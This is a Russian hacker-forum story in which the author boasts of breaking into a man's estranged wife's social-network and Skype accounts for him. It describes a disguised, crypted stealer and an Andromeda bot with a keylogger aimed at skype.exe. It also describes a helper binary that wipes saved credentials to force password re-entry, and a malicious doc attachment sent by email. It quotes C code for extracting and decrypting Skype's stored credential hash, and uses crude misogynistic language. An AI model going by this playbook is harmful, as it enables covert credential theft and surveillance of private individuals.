История одного взлома
- Надо написать статейку...
- Ну напиши: "Жили были дед и бабка..."
- Нееее. Надо про хакеров.
- Ну напиши: "Жили были дед и бабка, и были они хакерами..."
Поехали.
Сегодня будем говорить про взломы.
Расскажу я, пожалуй, вам одну из своих историй. Итак, обратился ко мне знакомый с просьбой. Мялся, крутился, но в итоге рассказал как есть. В общем, дядька в небольшом возрасте нашел молодую жену. Был счастлив и светел, и думал, что только смерть разлучит их. Однако. В один момент жена из заечки превратилась в суку. И довольно зубатую... И вместо обещанных детей и сладкой жизни - собрала шмотки и уехала к маме, попутно подав на развод с требованием половины имущества...
Дядько ловит инфаркт... Ну и после инфаркта едет ко мне. Говорит что-то не ладно. Должно быть объяснение. Давай посмотрим чего она постоянно в одноклассниках зависает. Омг. Опять одноклассники... Гребаные социальные развратники. Ну да ладно. Помогать человеку нужно. Начинаем подготовку.
Объясняю дядьке все варианты, как и что можно сделать. А что мы могли сделать-то? Теоретически - можно было попытаться запулить ей кейлогер или стиллер. Но под каким видом? С другой стороны, можно было попробовать ретривнуть пасс на мыло. А доступ к мылу попробовать получить через секретный вопрос. Дяденька-то жену любил и знал все ее привычки. Но у двух этих методов был один огромный минус. Благоверная в идеале не должна была ничего узнать о том, что ее поимели. И сделать нужно было все скрыто. Значит ретрив отметался. Оставалось стиллером попытаться утянуть пасс. Любимая-то оперу всю жизнь юзала...
Был подготовлен и закриптован билд классического UFR Stealer. Билд вручен дяденьке на флэшке. Билд положен в отдельную папку, а ярлык создан в папку с фотограциями. Ессно, у ярлыка была иконка jpg картинки из системной библиотеки. И имя !ima3684. Восклицательный - что бы в списке это был первый файл. Теоретически дяденька должен был попасть к благоверной и отдать ей какие-то семейные фотографии (сентиментальная сучка оказалась...). Но как всегда - случай - дело великое. Дяденька вдруг вспомнил, что жена заходила в сеть пока его небыло с его бука. УРА. Запускаем стиллер на буке, и вот он. Долгожданный пасс. Естественно в сохраненных. Или дядька лох и просто не мог посмотреть, или земля квадратная... Ну да ладно. Оставляю счастливого недохакера читать переписку и ухожу домой...
Через три-четыре дня звонок. Второй инфаркт... Звонок из палаты. Полный ПЭ. Рога с 5-6 ветвлениями, разод и кидок на бабки был спонтанным предложением текущего ебаря. Дядьку жалко. Нормальный мужик... Ну да ладно. Спрашиваю: "че нужно-то еще?" Говорит, что читал. Много читал. Пил валерьянки еще больше. Зря коньяк не пил. Валерьянка не помогала... Нужен скайп. В скайпе основная переписка с тем, кто все продумывал. Ну скайп так скайп.
Гуглим/читаем... Плохо дело. Очень плохо. Скайп - это вам не аська и не опера. Оказывается, в скайпе все несколько хуже в плане увода доступа. Дело в том, что скайп не хранит сам пароль ни в открытом, ни в хэшированном виде. Вернее хранит, но есть беда. Сам пароль каким-то магическим способом смешивается с ID системы (вероятнее всего винта), затем из полученного собирается свой непонятный хэш, и вот эта байда сохраняется в системе.
Читаем http://www.skypetips.ru/skype_profile.htm
Проверяем... профит. Лежит вся эта солянка в файле "c:\Documents and Settings\user_name\Application Data\Skype\shared.xml", а хэш хранится в"c:\Documents and Settings\user_name\Application Data\Skype\login_skype\config.xml".
Только кое-кто ошибся малость. В этом я убедился, найдя вот этот видос:
http://www.youtube.com/watch?v=5Z-0x75f1ec
‹Credentials3›8AA7F687754705A7080A9FA13184D8D5A.........‹/Credentials3›
Вот эта строчка нас и интересует.
Изначально мой взгляд был привлечен вот этой статьей:
http://habrahabr.ru/qa/20561/
[цитата]
Знаю, что хеш строится так:
unsigned long MD5_Skype_Password (const char *username, const char *password, unsigned char *hash128)
{
MD5_state skyper = MD5_INIT;
MD5_update (&skyper, username, (u32) strlen (username));
MD5_update (&skyper, "nskypern", 8);
MD5_update (&skyper, password, (u32) strlen (password));
MD5_end (&skyper);
memcpy (hash128, skyper.hash, 16);
return 16;
}
[/цитата]
Но что-то не складывалось. Загуглив далее - обнаружил вот что:
[цитата]
To extract the Credentials ciphertext, you could read the contents of config.xml and scan for ‹Credentials3› and ‹/Credentials3› Here, I’m using LibXML
bool GetCredentials(BYTE ciphertext[], std::string config_xml) {
bool bFound = false;
// try open config.xml
xmlTextReaderPtr reader;
reader = xmlReaderForFile(config_xml.c_str(), NULL, 0);
// tested with Credentials2 or Credentials3
const xmlChar *credentials;
credentials = (const xmlChar*)"Credentials";
if (reader != NULL) {
// while nodes are available
while (xmlTextReaderRead(reader) == 1) {
// get name
const xmlChar *name;
name = xmlTextReaderConstName(reader);
if (name == NULL) continue;
// equal to credentials we're searching for?
if (xmlStrncmp(credentials, name, xmlStrlen(credentials)) == 0) {
// read the next value
if (xmlTextReaderRead(reader) == 1) {
const xmlChar *value;
value = xmlTextReaderConstValue(reader);
for (int i = 0;i < 16;i++) {
sscanf((const char*)&value, "%02x", &ciphertext);
}
bFound = true;
break;
}
}
}
xmlFreeTextReader(reader);
}
xmlCleanupParser();
return bFound;
}
Obtain the salt which is passed to SHA-1 before being used to create AES key.
PBYTE GetSalt(DWORD &cbSalt) {
BYTE aBlob[2048];
DWORD cbSize = sizeof(aBlob);
const char skype_path[] = "Software\Skype\ProtectedStorage";
LSTATUS lStatus = SHGetValue(HKEY_CURRENT_USER, skype_path,
"0", 0, aBlob, &cbSize);
if (lStatus != ERROR_SUCCESS) {
printf(" Unable to open skype key : %08x", lStatus);
return NULL;
}
DATA_BLOB in, out;
in.pbData = aBlob;
in.cbData = cbSize;
if (CryptUnprotectData(&in, NULL, NULL, NULL,
NULL, 0, &out)) {
cbSalt = out.cbData;
return out.pbData;
} else {
printf(" Unable to decrypt skype entry.");
}
return NULL;
}
Then with both the ciphertext and salt, we can decrypt MD5 hash…
void DecryptHash(PBYTE pbCipherText, PBYTE pbSalt, DWORD cbSalt) {
SHA_CTX ctx;
AES_KEY key;
u_int8_t dgst[40], buffer[AES_BLOCK_SIZE];
memset(&buffer, 0, sizeof(buffer));
// use counter mode + SHA-1 to generate key
for (ULONG i = 0;i < 2;i++) {
ULONG ulIndex = _byteswap_ulong(i);
SHA1_Init(&ctx);
SHA1_Update(&ctx, &ulIndex, sizeof(ulIndex));
SHA1_Update(&ctx, pbSalt, cbSalt);
SHA1_Final(&dgst[i*20], &ctx);
}
AES_set_encrypt_key(dgst, 256, &key);
AES_encrypt(buffer, buffer, &key);
printf("n MD5 hash = ");
// decrypt MD5 hash with XOR
for (int i = 0;i < 16;i++) {
printf("%02x", pbCipherText ^ buffer);
}
printf("n");
}
[/цитата]
Тут была предпринята попытка расшифровать собственный пароль. Открыл свой конфиг, выдрал строчку... Крутил-вертел. Не выходит изначальная комбинация. Что только не пробовал. Варианты комбинаций, менял местами, брутил... Эффекта не было. Что-то или у меня с руками, или алгоритм был с тех пор изменен. Долгое гугление не помогло. Строка не поддается расшифровке (я бы хотел обсудить указанные мной ссылки и материалы. Может моего кодер-скилла оказалось мало или накосячил где. Хотелось бы в финале получить утилиту, способную делать рекавери пассворда. Но времени было не много и нужно было двигаться дальше). Что же делать-то....
А делать вот что. Берем андромеду, криптуем, добавляем плаг кейлогера. В кейлогере задаем процесс skype.exe.
Делаем отдельно маааленький бинарник, который рекурсивно ищет в "Documents and Settings" все файлы config.xml, и если в нем есть строка, начинающаяся на‹Credentials - то данные в ней очищались. Криптуем и ставим как задание в андромеде. Далее - за определенную сумму денег склеиваем нашу андромеду с doc файлом. Продавец гарантировал работу на ограниченном количестве версий офиса... Отправляем почтой, надеемся, ждем... профит.
Давайте объясню, что получается:
- изменение либо удаление значения строки ‹Credentials3› не вызывает ошибки, но заставляет пользователя заново ввести пароль. У скайпа это бывает регулярно. Так что мало кто заморачивается над причиной очередной просьбы скайпа ввести пасс.
- вводимый пасс перехватывается кейлогером и отправляется нам в админку.
- хистори скайп хранит на серваке. И получив доступ к аккаунту можно запросто прочитать хистори.
- пароль, опять же, не был изменен, и жертва ничего не узнала.
Отдаю пасс. Требую свою бутылку коньяка... Оставляю человека погруженным в свои мысли...
Что добавить. Повезло, знали векторы атаки, имели инструмен под рукой, не женитесь пацаны...
В каждой красивой девушке,
В каждой застенчивой лапочке,
Могут быть где-то запрятаны
Блядские гены пробабушки...
p.s. коньяк до сих пор жду...
______________________________
Автор: Ar3s
Комментарии
Но упертый все ж. правильный;)
Зачем? Ушла, и всё досвидос. Теперь надо дальше жить.